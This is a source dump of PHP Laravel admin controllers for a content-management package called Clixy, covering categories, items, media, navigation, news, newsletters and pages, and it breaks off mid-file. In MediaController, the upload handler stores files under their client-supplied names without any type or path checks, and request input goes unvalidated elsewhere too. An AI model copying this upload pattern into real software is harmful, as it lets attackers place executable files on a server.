use App\Http\Controllers\Auth\AuthController as LaravelAuthController;

class AuthController extends LaravelAuthController
{
	
    protected $loginView = 'clixy/admin::auth/login';
    //protected $registerView = 'clixy/admin::auth/';
    //protected $linkRequestView = 'clixy/admin::auth/';
    //protected $resetView = 'clixy/admin::auth/';
	
	/**
     * Create a new authentication controller instance.
     *
     * @return void
     */
    public function __construct()
    {

		$prefix = config('clixy.admin.prefix');
		$this->redirectTo = "/$prefix";
		$this->middleware($this->guestMiddleware(), ['except' => "/{$prefix}/logout"]);
    }
	
	/**
     * Get the guest middleware for the application.
     */
    public function guestMiddleware()
    {
        $guard = $this->getGuard();

        return $guard ? 'guest.admin:' . $guard : 'guest.admin';
    }

}


================================================
FILE: src/Controllers/CategoryController.php
================================================
<?php

namespace Clixy\Admin\Controllers;

use App\Http\Controllers\Controller;

use Illuminate\Http\Request;

use Clixy\Core\Models\Language;
use Clixy\Core\Models\Category;
use Clixy\Core\Models\CategoryLang;

class CategoryController extends Controller
{
	public function index(Request $request)
	{
		return view('clixy/admin::category/category', ['module' => 'category']);
	}

	public function postList(Request $request)
	{
		$category = new Category();

		$list = $category->orderBy('ord', 'asc')->get();
		if ($list) {
			foreach ($list as $v) {
				$v->lang = CategoryLang::where('id', $v->id)->where('lang_id', 1)->first();
			}
		}

		return response()->json([
			'list' => [],
			'content' => view('clixy/admin::category/categorylist', ['list' => $list])->render(),
			'pagination' => '-na-',
			'token' => csrf_token()
		]);
	}

	public function postCreate(Request $request)
	{
		$lang = new Language();
		$lang_list = $lang->get();

		$cat = new Category;
		$cat->save();

		foreach ($lang_list as $v) {
			$catLang = new CategoryLang();
			$catLang->id = $cat->id;
			$catLang->lang_id = $v->id;
			$catLang->save();
		}

		return response()->json([
			'id' => $cat->id,
			'token' => csrf_token()
		]);
	}

	public function postRemove(Request $request)
	{
		$id = $request->input('id');

		Category::where('id', $id)->delete();

		return response()->json([
			'state' => true,
			'msg' => 'done',
			'token' => csrf_token()
		]);
	}

	public function postGet(Request $request)
	{
		$id = $request->input('id');

		$language = new Language();
		$lang_list = $language->get();

		$o = new Category();
		$ol = new CategoryLang();

		$data = $o->find($id);
		// var_dump($data);
		if ($data) {
			$lang_data = [];
			foreach ($lang_list as $k => $v) {
				$lang_data[$v->id] = $ol->where('id', $id)->where('lang_id', $v->id)->first();
			}
		}
		$category_list = [];
		$r = $o->where('parent_id', 0)->orderBy('ord', 'asc')->get();
		if ($r) {
			foreach ($r as &$v) {
				// echo $v->id;
				$v->lang = $ol->where('id', $v->id)->where('lang_id', 1)->first();
				$category_list[] = $v;
			}
		}

		$content = view('clixy/admin::category/categoryform', [
			'module' => 'category',
			'data' => $data,
			'lang_data' => $lang_data,
			'lang_list' => $lang_list,
			'category_list' => $category_list
		])->render();

		return response()->json([
			'id' => 0,
			'content' => $content,
			'token' => csrf_token()
		]);
	}

	public function postSave(Request $request)
	{
		$lang = new Language();
		$lang_list = $lang->get();

		$id = $request->input('id');

		$o = new Category();
		$ol = new CategoryLang();

		$cat = $o->find($id);
		$cat->slug = $request->input('slug');
		$cat->ord = $request->input('ord');
		$cat->active = $request->input('active');
		$cat->parent_id = $request->input('parent_id');
		$cat->is_home = $request->input('is_home');
		$cat->save();

		foreach ($lang_list as $v) {
			$ol->where('id', $id)
				->where('lang_id', $v->id)
				->update([
					'title' => $request->input('title')[$v->id],
					'brief' => $request->input('brief')[$v->id],
					'uri' => $request->input('uri')[$v->id],
					'content' => $request->input('content')[$v->id]
				]);
		}

		return response()->json([
			'state' => true,
			'token' => csrf_token()
		]);
	}
}

================================================
FILE: src/Controllers/ColorController.php
================================================
<?php

namespace Clixy\Admin\Controllers;

use App\Http\Controllers\Controller;

use Illuminate\Http\Request;

use Clixy\Core\Models\Language;
use Clixy\Core\Models\Color;
use Clixy\Core\Models\ColorLang;

class ColorController extends Controller
{
    public function index(Request $request)
    {
        $user = $request->user() ? $request->user()->toArray() : ['id' => null];
        return view('clixy/admin::color.color', ['module' => 'color', 'user' => $user, 'token' => csrf_token()]);
    }
    
    public function postList()
    {
        $token = csrf_token();
        $col = new Color();
        
        $list = $col->orderBy('ord', 'asc')->get();
        if ($list) {
            foreach ($list as $v) {
                $v->lang = ColorLang::where('id', $v->id)->where('lang_id', 1)->first();
            }
        }
        $content = view('clixy/admin::color.colorlist', ['list' => $list])->render();
        
        return response()->json(['list' => [], 'content' => $content, 'pagination' => '-na-', 'token' => $token]);
    }
    
    public function postCreate()
    {
        $lang = new Language();
        $lang_list = $lang->get();
        
        $col = new Color;
        $col->save();
        
        foreach ($lang_list as $v) {
            $collang = new ColorLang();
            $collang->id = $col->id;
            $collang->lang_id = $v->id;
            $collang->save();
        }
        
        return response()->json(['id' => $col->id, 'token' => csrf_token()]);
    }
    
    public function postSave(Request $request)
    {
        $lang = new Language();
        $lang_list = $lang->get();
        
        $id = $request->input('id');
        
        $col = Color::find($id);
        $col->name = $request->input('name');
        $col->ord = $request->input('ord');
        $col->code = $request->input('code');
        $col->save();
        
        foreach ($lang_list as $v) {
            ColorLang::where('id', $id)
                ->where('lang_id', $v->id)
                ->update([
                    'title' => $request->input('title')[$v->id]
                ]);
        }
        
        return response()->json(['state' => true, 'token' => csrf_token()]);
    }
    
    public function postGet(Request $request)
    {
        $id = $request->input('id');
        $lang_list = Language::get();
        
        $data = Color::find($id);
        $collang = new ColorLang();
        
        if ($data) {
            $lang_data = [];
            foreach ($lang_list as $v) {
                $lang_data[$v->id] = $collang->where('id', $id)->where('lang_id', $v->id)->first();
            }
        }
        
        $content = $content = view('clixy/admin::color.colorform', ['module' => 'color', 'data' => $data, 'lang_data' => $lang_data, 'lang_list' => $lang_list])->render();
        
        return response()->json(['id' => 0, 'content' => $content, 'token' => csrf_token()]);
    }
    
    public function postRemove(Request $request)
    {
        Color::where('id', $request->input('id'))->delete();
        
        return response()->json(['state' => true, 'msg' => 'done', 'token' => csrf_token()]);
    }
}

================================================
FILE: src/Controllers/ConfController.php
================================================
<?php

namespace Clixy\Admin\Controllers;

use App\Http\Controllers\Controller;

use Illuminate\Http\Request;

use Clixy\Core\Models\Language;
use Clixy\Core\Models\Conf;

class ConfController extends Controller
{
	public function index(Request $request)
	{
		return view('clixy/admin::conf.conf', ['module' => 'conf']);
	}

	public function postList()
	{
		$conf = new Conf();

		$list = $conf->orderBy('ord', 'asc')->get();
		if ($list) {
			foreach ($list as $v) {
				// var_dump(ColorLang::where('id', $v->id)->where('lang_id', 1)->first());
				// $v->lang = ColorLang::where('id', $v->id)->where('lang_id', 1)->first();
			}
		}

		return response()->json([
			'list' => [],
			'content' => view('clixy/admin::conf.conflist', ['list' => $list])->render(),
			'pagination' => '-na-',
			'token' => csrf_token()
		]);
	}

	public function postCreate()
	{
		$conf = new Conf;
		$conf->save();

		return response()->json([
			'id' => $conf->id,
			'token' => csrf_token()
		]);
	}

	public function postSave(Request $request)
	{
		$id = $request->input('id');

		$conf = Conf::find($id);
		$conf->slug = $request->input('slug');
		// $conf->ord = $request->input('ord');
		$conf->value = $request->input('value');
		$conf->save();

		return response()->json([
			'state' => true,
			'token' => csrf_token()
		]);
	}

	public function postGet(Request $request)
	{
		$id = $request->input('id');
		$lang_list = Language::get();

		$data = Conf::find($id);

		return response()->json([
			'id' => 0,
			'content' => view('clixy/admin::conf.confform', ['module' => 'conf', 'data' => $data])->render(),
			'token' => csrf_token()
		]);
	}

	public function postRemove(Request $request)
	{
		Conf::where('id', $request->input('id'))->delete();

		return response()->json([
			'state' => true,
			'msg' => 'done',
			'token' => csrf_token()
		]);
	}
}

================================================
FILE: src/Controllers/HomeController.php
================================================
<?php

namespace Clixy\Admin\Controllers;

use App\Http\Controllers\Controller;

use Illuminate\Http\Request;

class HomeController extends Controller
{
    public function index(Request $request)
    {
        return view('clixy/admin::home/home');
    }
}

================================================
FILE: src/Controllers/ItemController.php
================================================
<?php

namespace Clixy\Admin\Controllers;

use App\Http\Controllers\Controller;

use Illuminate\Http\Request;

use Clixy\Core\Models\Language;
use Clixy\Core\Models\Item;
use Clixy\Core\Models\ItemLang;
use Clixy\Core\Models\ItemCategory;
use Clixy\Core\Models\Category;
use Clixy\Core\Models\ItemDate;

class ItemController extends Controller
{
    public function index(Request $request)
    {
        return view('clixy/admin::item/item', ['module' => 'item']);
    }
    
    public function postList(Request $request)
    {
        $o = new Item();
        $ol = new ItemLang();
        
        $list = $o->orderBy('ord', 'asc')->get();
        if ($list) {
            foreach ($list as $v) {
                $v->lang = $ol->where('id', $v->id)->where('lang_id', 1)->first();
            }
        }
        
        return response()->json([
			'list' => [],
			'content' => view('clixy/admin::item/itemlist', ['module' => 'item', 'list' => $list])->render(),
			'pagination' => '-na-',
			'token' => csrf_token()
		]);
    }
    
    public function postCreate(Request $request)
    {
        $lang = new Language();
        $lang_list = $lang->get();
        
        $o = new Item();
        $o->save();
        
        foreach ($lang_list as $v) {
            $ol = new ItemLang();
            $ol->id = $o->id;
            $ol->lang_id = $v->id;
            $ol->save();
        }
        
        return response()->json([
			'id' => $o->id,
			'state' => true,
			'token' => csrf_token()
		]);
    }
    
    /**
     * 
     * @param Request $request
     * @return json
     */
    public function postDateCreate(Request $request)
    {
        $o = new ItemDate();
        $o->item_id = $request->input('id');
        $o->date_at = $request->input('date');
        $o->save();
        
        return response()->json([
			'id' => $o->id,
			'state' => true,
			'token' => csrf_token()
		]);
    }
    
    /**
     * 
     * @param Request $request
     * @return type
     */
    public function postDateList(Request $request)
    {
        $o = new ItemDate();
        
        $list = $o->where('item_id', $request->input('id'))->orderBy('date_at', 'desc')->get();
        
        return response()->json([
			'list' => [],
			'content' => view('clixy/admin::item/itemdatelist', ['list' => $list])->render(),
			'token' => csrf_token()
		]);
    }
    
    public function postRemove(Request $request)
    {
        $id = $request->input('id');
        
        $o = new Item();
        
        $o->find($id)->delete();
        
        return response()->json([
			'state' => true,
			'msg' => 'done',
			'token' => csrf_token()
		]);
    }
    
    public function postDateRemove(Request $request)
    {
        $id = $request->input('id');
        
        $o = new ItemDate();
        
        $o->find($id)->delete();
        
        return response()->json([
			'state' => true,
			'msg' => 'done',
			'token' => csrf_token()
		]);
    }
    
    public function postGet(Request $request)
    {
        $id = $request->input('id');
        
        $language = new Language();
        $o = new Item();
        $ol = new ItemLang();
        $oc = new ItemCategory();
        $cat = new Category();
        $od = new ItemDate();
        
        $lang_list = $language->get();
        $data = $o->find($id);
        if ($data) {
            $data_category_list = [];
            $rr = $oc->where('item_id', $data->id)->get();
            if ($rr) {
                foreach ($rr as $vv) {
                    $data_category_list[] = (int) $vv->category_id;
                }
            }
            $data->category_list = $data_category_list;
            // var_dump($data->category_list);
            
            $data_date_list = [];
            $rrr = $od->where('item_id', $data->id)->get();
            if ($rr) {
                foreach ($rrr as $vvv) {
                    $data_date_list[] = $vvv;
                }
            }
            $data->date_list = $data_date_list;
            // var_dump($data->category_list);
            
            // var_dump($data->category_list);
            $lang_data = [];
            foreach ($lang_list as $k => $v) {
                $lang_data[$v->id] = $ol->where('id', $id)->where('lang_id', $v->id)->first();
            }
        }
        
        $category_list = [];
        $r = $cat->where('active', 1)->orderBy('ord', 'asc')->get();
        if ($r) {
            foreach ($r as &$v) {
                $v->lang = $v->lang()->where('lang_id', 1)->first();
                $category_list[] = $v;
            }
        }
        
        $content = view(
            'clixy/admin::item/itemform',
            [
                'module' => 'item',
                'data' => $data,
                'lang_data' => $lang_data,
                'lang_list' => $lang_list,
                'category_list' => $category_list
            ]
        )->render();
        
        return response()->json([
			'id' => 0,
			'content' => $content,
			'token' => csrf_token()
		]);
    }
    
    public function postSave(Request $request)
    {
        $lang = new Language();
        $lang_list = $lang->get();
        
        $id = $request->input('id');
        
        $о = Item::find($id);
        $о->slug = $request->input('slug');
        $о->ord = $request->input('ord');
        $о->active = $request->input('active');
        $о->days = $request->input('days');
        $о->min_price = $request->input('min_price');
        $о->max_price = $request->input('max_price');
        $о->port_from = $request->input('port_from');
        $о->port_to = $request->input('port_to');
        $о->save();
        
        foreach ($lang_list as $v) {
            ItemLang::where('id', $id)
                ->where('lang_id', $v->id)
                ->update([
                    'title' => $request->input('title')[$v->id],
                    'uri' => $request->input('uri')[$v->id],
                    'content' => $request->input('content')[$v->id]
                ]);
        }
        
        $assoc = new ItemCategory();
        // remove all
        $assoc->where('item_id', $id)->delete();
        
        // set all
        $list = $request->input('category');
        if ($list) {
            foreach ($list as $k => $v) {
                $as = new ItemCategory();
                $as->item_id = $id;
                $as->category_id = $k;
                $as->save();
            }
        }
        
        return response()->json([
			'state' => true,
			'token' => csrf_token()
		]);
    }
}

================================================
FILE: src/Controllers/MediaController.php
================================================
<?php

namespace Clixy\Admin\Controllers;

use App\Http\Controllers\Controller;

use Illuminate\Http\Request;

use Clixy\Core\Models\Language;
use Clixy\Core\Models\Slide;
use Clixy\Core\Models\SlideLang;
use Clixy\Core\Models\Media;
use Clixy\Core\Models\MediaCategory;

class MediaController extends Controller
{
    public function postGetMediaPagination(Request $request)
    {
        $token = csrf_token();
        
        $media = new Media();
        
        $page = $request->input('page');
        $category_id = $request->input('type');
        $item_id = $request->input('item_id');
        
        $total = $media
                    ->where('category_id', $category_id)
                    ->where('item_id', $item_id)
                        ->count();
        
        $steps = ceil($total / 12);
        $pagination = view('clixy/admin::common.ajaxpagination', [
            "category_id" => $category_id,
            "pages" => $steps,
            "page" => $page,
            "obj" => "media",
            "act" => "get_page",
            "range" => 4
        ])->render();
        return response()->json([
			'pagination' => $pagination,
			'token' => $token
		]);
    }
    
    public function postGetMediaDetailList(Request $request)
    {
        $media = new Media();
        $mc = new MediaCategory();
        
        $category_id = $request->input('category_id');
        $item_id = $request->input('item_id');
        
        $obj = '';
        switch ($category_id) {
            case 1:
                $obj = 'slide';
            break;
        
            case 2:
                $obj = 'navigation';
            break;
        }
        
        $list = $media
                ->where('category_id', $category_id)
                ->where('item_id', $item_id)
                    ->get();
        if ($list) {
            foreach ($list as $v) {
                $v->category = $mc->find($v->category_id);
                $v->class = "jpg";
                $v->template = "JPG";
            }
        }
        // echo '<pre>' . print_r($list, true);
        
        $content = view('clixy/admin::multimedia.media_detail_list_ajax', [
            'obj' => $obj,
            'media_conf' => array(),
            'list' => $list
        ])->render();
        
        return response()->json([
			'content' => $content,
			'token' => csrf_token()
		]);
    }
    
    public function postRemove(Request $request)
    {
        $media = new Media();
        
        $id = $request->input('id');
        
        $media->find($id)->delete();
        
        return response()->json([
			'state' => true,
			'token' => csrf_token()
		]);
    }
    
    public function postUpload(Request $request)
    {
        $category_id = (int) $request->input('cat_id', 0);
        $item_id = (int) $request->input('item_id', 0);
        $file = $request->file('file');
        
		$state = true;
		
		
        $mc = new MediaCategory();

		$directory = rtrim(config('clixy.admin.upload_dir'), DIRECTORY_SEPARATOR);
        $directory .= DIRECTORY_SEPARATOR;
		$directory .= ltrim($mc->find($category_id)->directory, DIRECTORY_SEPARATOR);
        
        if ($file->isValid()) {
            $file->move($directory, $file->getClientOriginalName());
        }
        
        if ($state === true) {
            $media = new Media();
            $media->ord = 0;
            $media->item_id = $item_id;
            $media->category_id = $category_id;
            $media->type_id = 2;// JPG
            $media->file = $file->getClientOriginalName();
            $media->location = "";
            $media->width = 0;
            $media->height = 0;
            $media->fps = 0;
            $media->size = $file->getClientSize();
            $media->duration = 0;
            $media->mime = '-na-';//$file->getMimeType();
            $media->save();
        }
        
        return response()->json([
            'state' => $state,
            'directory' => $directory,
            'category_id' => $category_id,
            'item_id' => $item_id,
            'name' => $file->getClientOriginalName(), 
            'token' => csrf_token()
        ]);
    }
}

================================================
FILE: src/Controllers/NavigationController.php
================================================
<?php

namespace Clixy\Admin\Controllers;

use App\Http\Controllers\Controller;

use Illuminate\Http\Request;

use Clixy\Core\Models\Language;
use Clixy\Core\Models\Navigation;
use Clixy\Core\Models\NavigationLang;
use Clixy\Core\Models\NavigationGroup;
use Clixy\Core\Models\Page;
use Clixy\Core\Models\PageLang;

class NavigationController extends Controller
{
    public function index(Request $request)
    {
        return view('clixy/admin::navigation.navigation', ['module' => 'navigation']);
    }
    
    public function postList(Request $request)
    {
        $o = new Navigation();
        $ol = new NavigationLang();
		$ng = new NavigationGroup();
        
        $list = $o->orderBy('ord', 'asc')->get();
        if ($list) {
            foreach ($list as $v) {
                $v->lang = $ol->where('id', $v->id)->where('lang_id', 1)->first();
            }
		}
		$group_list = $ng->where('active', 1)->orderBy('ord', 'ASC')->get();
        
        return response()->json([
			'list' => [],
			'content' => view('clixy/admin::navigation.navigationlist', ['group_list' => $group_list, 'list' => $list])->render(),
			'pagination' => '-na-',
			'token' => csrf_token()
		]);
    }
    
    public function postCreate(Request $request)
    {
        $lang = new Language();
        $lang_list = $lang->get();
        
        $o = new Navigation();
        $o->save();
        
        foreach ($lang_list as $v) {
            $ol = new NavigationLang();
            $ol->id = $o->id;
            $ol->lang_id = $v->id;
            $ol->save();
        }
        
        return response()->json([
			'id' => $o->id,
			'token' => csrf_token()
		]);
    }
    
    public function postSave(Request $request)
    {
        $lang = new Language();
        $lang_list = $lang->get();
        
        $id = $request->input('id');
        
        $o = new Navigation();
        $ol = new NavigationLang();
        
        $page = new Page();
        $pagelang = new PageLang();
        
        $nav = $o->find($id);
        $nav->slug = $request->input('slug');
        $nav->ord = $request->input('ord');
        $nav->uri = $request->input('uri');
        $nav->page_id = $request->input('page_id');
        
        // get slug and uri from page
        $slug = $page->find($request->input('page_id'));
        if (!empty($slug) && $slug->count() > 0) {
            // dump($slug);
            $nav->slug = $slug->slug; 
            $nav->uri = $slug->slug; 
            //echo $request->input('page_id');
            //echo 'slug:' . $slug->slug;
            //echo $slug->id;
        }
        
        // $nav->header = $request->input('header');
        // $nav->footer = $request->input('footer');
        // $nav->child = $request->input('child');
	$nav->group_id = $request->input('group_id');
        $nav->save();
        
        foreach ($lang_list as $v) {
            $ol->where('id', $id)
                ->where('lang_id', $v->id)
                ->update([
                    'title' => $request->input('title')[$v->id],
                    'text' => $request->input('text')[$v->id],
                    'content' => $request->input('content')[$v->id]
                ]);
        }
        
        return response()->json([
			'state' => true,
			'token' => csrf_token()
		]);
    }
    
    public function postGet(Request $request)
    {
        $id = $request->input('id');
        $l = new Language();
        $lang_list = $l->get();
        
        $data = Navigation::find($id);
        $navlang = new NavigationLang();
	$ng = new NavigationGroup();
        $page = new Page();
        $pagelang = new PageLang();
        
        
        if ($data) {
            $lang_data = [];
            foreach ($lang_list as $v) {
                $lang_data[$v->id] = $navlang->where('id', $id)->where('lang_id', $v->id)->first();
            }
	    $data['group_list'] = $ng->where('active', 1)->orderBy('ord', 'ASC')->get();
        }
        
        $page_list = [];
        $r = $page->orderBy('ord', 'asc')->get();
        if ($r) {
            foreach ($r as &$v) {
                // echo $v->id;
                $v->lang = $pagelang->where('id', $v->id)->where('lang_id', 1)->first();
                $page_list[] = $v;
            }
        }
        
        $content = $content = view('clixy/admin::navigation.navigationform', ['data' => $data, 'page_list' => $page_list, 'lang_data' => $lang_data, 'lang_list' => $lang_list])->render();
        
        return response()->json([
			'id' => 0,
			'content' => $content,
			'token' => csrf_token()
		]);
    }
    
    public function postRemove(Request $request)
    {
        $o = new Navigation();
        $o->where('id', $request->input('id'))->delete();
        
        return response()->json([
			'state' => true,
			'msg' => 'done',
			'token' => csrf_token()
		]);
    }
}

================================================
FILE: src/Controllers/NewsController.php
================================================
<?php

namespace Clixy\Admin\Controllers;

use App\Http\Controllers\Controller;

use Illuminate\Http\Request;

use Clixy\Core\Models\Language;
use Clixy\Core\Models\News;
use Clixy\Core\Models\NewsLang;

class NewsController extends Controller
{
    public function index(Request $request)
    {
        return view('clixy/admin::news/news', ['module' => 'news']);
    }
    
    public function postList(Request $request)
    {
        $o = new News();
        $ol = new NewsLang();
        
        $list = $o->orderBy('ord', 'asc')->get();
        if ($list) {
            foreach ($list as $v) {
                $v->lang = $ol->where('id', $v->id)->where('lang_id', 1)->first();
            }
        }
        
        return response()->json([
			'list' => [],
			'content' => view('clixy/admin::news/newslist', ['list' => $list])->render(),
			'pagination' => '-na-',
			'token' => csrf_token()
		]);
    }
    
    public function postCreate()
    {
        $lang = new Language();
        $lang_list = $lang->get();
        
        $o = new News();
        $o->save();
        
        foreach ($lang_list as $v) {
            $ol = new NewsLang();
            $ol->id = $o->id;
            $ol->lang_id = $v->id;
            $ol->save();
        }
        
        return response()->json([
			'id' => $o->id,
			'token' => csrf_token()
		]);
    }
    
    public function postRemove(Request $request)
    {
        $id = $request->input('id');
	
        $o = new News();
		$o->where('id', $id)->delete();
        
        return response()->json([
			'state' => true,
			'msg' => 'done',
			'token' => csrf_token()
		]);
    }
    
    public function postGet(Request $request)
    {
        $id = $request->input('id');
        
        $language = new Language();
        $lang_list = $language->get();
        
        $o = new News();
        $ol = new NewsLang();
	
	$data = $o->find($id);
        // var_dump($data);
        
        if ($data) {
            $lang_data = [];
            foreach ($lang_list as $k => $v) {
                $lang_data[$v->id] = $ol->where('id', $id)->where('lang_id', $v->id)->first();
            }
        }
        
        $page_list = [];
        $r = $o->where('parent_id', 0)->orderBy('ord', 'asc')->get();
        if ($r) {
            foreach ($r as &$v) {
                // echo $v->id;
                $v->lang = $ol->where('id', $v->id)->where('lang_id', 1)->first();
                $page_list[] = $v;
            }
        }
        
        $content = $content = view(
                'clixy/admin::news/newsform', 
                [
                    'module' => 'news',
                    'data' => $data,
                    'lang_data' => $lang_data,
                    'lang_list' => $lang_list,
                    'page_list' => $page_list
                ]
            )->render();
        
        return response()->json([
			'id' => 0,
			'content' => $content,
			'token' => csrf_token()
		]);
    }
    
    public function postSave(Request $request)
    {
        $l = new Language();
        $lang_list = $l->get();
        
        $id = $request->input('id');
        
	$o = new News();
	$ol = new NewsLang();
	
        $v = $o->find($id);
        $v->ord = $request->input('ord');
        $v->slug = $request->input('slug');
        $v->parent_id = $request->input('parent_id');
        $v->save();
        
        foreach ($lang_list as $v) {
            $ol->where('id', $id)
                ->where('lang_id', $v->id)
                ->update([
                    'title' => $request->input('title')[$v->id],
                    'uri' => $request->input('uri')[$v->id],
                    'text' => $request->input('text')[$v->id],
                    'heading' => $request->input('heading')[$v->id],
                    'content' => $request->input('content')[$v->id],
                    'meta_title' => $request->input('meta_title')[$v->id],
                    'meta_keywords' => $request->input('meta_keywords')[$v->id],
                    'meta_description' => $request->input('meta_description')[$v->id]
                ]);
        }
        
        return response()->json([
			'state' => true,
			'token' => csrf_token()
		]);
    }
}

================================================
FILE: src/Controllers/NewsletterController.php
================================================
<?php

namespace Clixy\Admin\Controllers;

use App\Http\Controllers\Controller;

use Illuminate\Http\Request;

use Clixy\Core\Models\Language;
use Clixy\Core\Models\Newsletter;
use Clixy\Core\Models\NewsletterLang;

class NewsletterController extends Controller
{
    public function index(Request $request)
    {
        return view('clixy/admin::newsletter/newsletter', ['module' => 'newsletter']);
    }
    
    public function postList(Request $request)
    {
        $o = new Newsletter();
        $ol = new NewsletterLang();
        
        $list = $o->orderBy('ord', 'asc')->get();
        if ($list) {
            foreach ($list as $v) {
                $v->lang = $ol->where('id', $v->id)->where('lang_id', 1)->first();
            }
        }
        
        return response()->json([
			'list' => [],
			'content' => view('clixy/admin::newsletter/newsletterlist', ['list' => $list])->render(),
			'pagination' => '-na-',
			'token' => csrf_token()
		]);
    }
    
    public function postCreate()
    {
        $lang = new Language();
        $lang_list = $lang->get();
        
        $o = new Newsletter();
        $o->save();
        
        foreach ($lang_list as $v) {
            $ol = new NewsletterLang();
            $ol->id = $o->id;
            $ol->lang_id = $v->id;
            $ol->save();
        }
        
        return response()->json([
			'id' => $o->id,
			'token' => csrf_token()
		]);
    }
    
    public function postRemove(Request $request)
    {
        $id = $request->input('id');
	
        $o = new Newsletter();
	$o->where('id', $id)->delete();
        
        return response()->json([
			'state' => true,
			'msg' => 'done',
			'token' => csrf_token()
		]);
    }
    
    public function postGet(Request $request)
    {
        $id = $request->input('id');
        
        $language = new Language();
        $lang_list = $language->get();
        
        $o = new Newsletter();
        $ol = new NewsletterLang();
	
	$data = $o->find($id);
        // var_dump($data);
        
        
        if ($data) {
            $lang_data = [];
            foreach ($lang_list as $k => $v) {
                $lang_data[$v->id] = $ol->where('id', $id)->where('lang_id', $v->id)->first();
            }
        }
        
        $content = $content = view(
                'clixy/admin::newsletter/newsletterform', 
                [
                    'module' => 'newsletter',
                    'data' => $data,
                    'lang_data' => $lang_data,
                    'lang_list' => $lang_list
                ]
            )->render();
        
        return response()->json([
			'id' => 0,
			'content' => $content,
			'token' => csrf_token()
		]);
    }
    
    public function postSave(Request $request)
    {
        $l = new Language();
        $lang_list = $l->get();
        
        $id = $request->input('id');
        
	$o = new Newsletter();
	$ol = new NewsletterLang();
	
        $v = $o->find($id);
        $v->slug = $request->input('slug');
        $v->save();
        
        foreach ($lang_list as $v) {
            $ol->where('id', $id)
                ->where('lang_id', $v->id)
                ->update([
                    'subject' => $request->input('subject')[$v->id],
                    'content' => $request->input('content')[$v->id]
                ]);
        }
        
        return response()->json([
			'state' => true,
			'token' => csrf_token()
		]);
    }
}

================================================
FILE: src/Controllers/NewsletterSubscribersController.php
================================================
<?php

namespace Clixy\Admin\Controllers;

use App\Http\Controllers\Controller;

use Illuminate\Http\Request;

use Clixy\Core\Models\Language;
use Clixy\Core\Models\Newsletter;
use Clixy\Core\Models\NewsletterLang;
use Clixy\Core\Models\NewsletterSubscribers;

class NewsletterSubscribersController extends Controller
{
    public function index(Request $request)
    {
        return view('clixy/admin::NewsletterSubscribers/NewsletterSubscribers', ['module' => 'NewsletterSubscribers']);
    }
    
    public function postList(Request $request)
    {
        $o = new NewsletterSubscribers();
        $list = $o->orderBy('id', 'desc')->get();
        if ($list) {
        }
        
        return response()->json([
			'list' => [],
			'content' => view('clixy/admin::NewsletterSubscribers/NewsletterSubscribersList', ['list' => $list])->render(),
			'pagination' => '-na-',
			'token' => csrf_token()
		]);
    }
    
    public function postCreate()
    {
        $o = new NewsletterSubscribers();
        $o->save();
        
        return response()->json([
			'id' => $o->id,
			'token' => csrf_token()
		]);
    }
    
    public function postRemove(Request $request)
    {
        $id = $request->input('id');
	
        $o = new NewsletterSubscribers();
		$o->where('id', $id)->delete();
        
        return response()->json([
			'state' => true,
			'msg' => 'done',
			'token' => csrf_token()
		]);
    }
    
    public function postGet(Request $request)
    {
        $id = $request->input('id');
        
        $o = new NewsletterSubscribers();
        
        $data = $o->find($id);
        // var_dump($data);
        
        $content = $content = view(
                'clixy/admin::NewsletterSubscribers/NewsletterSubscribersForm', 
                [
                    'module' => 'NewsletterSubscribers',
                    'data' => $data
                ]
            )->render();
        
        return response()->json([
			'id' => 0,
			'content' => $content,
			'token' => csrf_token()
		]);
    }
    
    public function postSave(Request $request)
    {
        $id = $request->input('id');
        
	$o = new NewsletterSubscribers();
	
        $v = $o->find($id);
        $v->name = $request->input('name');
        $v->email = $request->input('email');
        $v->save();
        
        return response()->json([
			'state' => true,
			'token' => csrf_token()
		]);
    }
}

================================================
FILE: src/Controllers/PageController.php
================================================
<?php

namespace Clixy\Admin\Controllers;

use App\Http\Controllers\Controller;

use Clixy\Core\Models\Language;

use Clixy\Core\Models\Page;
use Clixy\Core\Models\PageLang;
use Illuminate\Http\Request;

class PageController extends Controller
{
    public function index()
    {
        return view('clixy/admin::page/page', ['module' => 'page']);
    }
    
    public function postList(Request $request)
    {
        $o = new Page();
        $ol = new PageLang();
        
        $list = $o->orderBy('ord', 'asc')->get();
        if ($list) {
            foreach ($list as $v) {
                $v->lang = $ol->where('id', $v->id)->where('lang_id', 1)->first();
            }
        }

        return response()->json([
			'list' => [],
			'content' => view('clixy/admin::page/pagelist', ['list' => $list])->render(),
			'pagination' => '-na-',
			'token' => csrf_token()
		]);
    }
    
    public function postCreate()
    {
        $lang = new Language();
        $lang_list = $lang->get();
        
        $o = new Page();
        $o->save();
        
        foreach ($lang_list as $v) {
            $ol = new PageLang();
            $ol->id = $o->id;
            $ol->lang_id = $v->id;
            $ol->save();
        }
        
        return response()->json([
			'id' => $o->id,
			'token' => csrf_token()
		]);
    }
    
    public function postRemove(Request $request)
    {
        $id = $request->input('id');
	
        $o = new Page();
	$o->where('id', $id)->delete();
        
        return response()->json([
			'state' => true,
			'msg' => 'done',
			'token' => csrf_token()
		]);
    }
    
    public function postGet(Request $request)
    {
        $id = $request->input('id');
        
        $language = new Language();
        $lang_list = $language->get();
        
        $o = new Page();
        $ol = new PageLang();
	
	$data = $o->find($id);
        // var_dump($data);
        
        if ($data) {
            $lang_data = [];
            foreach ($lang_list as $k => $v) {
                $lang_data[$v->id] = $ol->where('id', $id)->where('lang_id', $v->id)->first();
            }
        }
        
        $page_list = [];
        $r = $o->where('parent_id', 0)->orderBy('ord', 'asc')->get();
        if ($r) {
            foreach ($r as &$v) {
                // echo $v->id;
                $v->lang = $ol->where('id', $v->id)->where('lang_id', 1)->first();
                $page_list[] = $v;
            }
        }
        
        $content = $content = view(
                'clixy/admin::page/pageform', 
                [
                    'module' => 'page',
                    'data' => $data,
                    'lang_data' => $lang_data,
                    'lang_list' => $lang_list,
                    'page_list' => $page_list
                ]
            )->render();
        
        return response()->json([
			'id' => 0,
			'content' => $content,
			'token' => csrf_token()
		]);
    }
    
    public function postSave(Request $request)
    {
        $l = new Language();
        $lang_list = $l->get();
        
        $id = $request->input('id');
        
	$o = new Page();
	$ol = new PageLang();
	
        $v = $o->find($id);
        $v->ord = $request->input('ord');
        $v->slug = $request->input('slug');
        $v->parent_id = $request->input('parent_id');
        $v->save();
        
        foreach ($lang_list as $v) {
            $ol->where('id', $id)
                ->where('lang_id', $v->id)
                ->update([
                    'title' => $request->input('title')[$v->id],
                    'uri' => $request->input('uri')[$v->id],
                    'text' => $request->input('text')[$v->id],
                    'heading' => $request->input('heading')[$v->id],
                    'content' => $request->input('content')[$v->id],
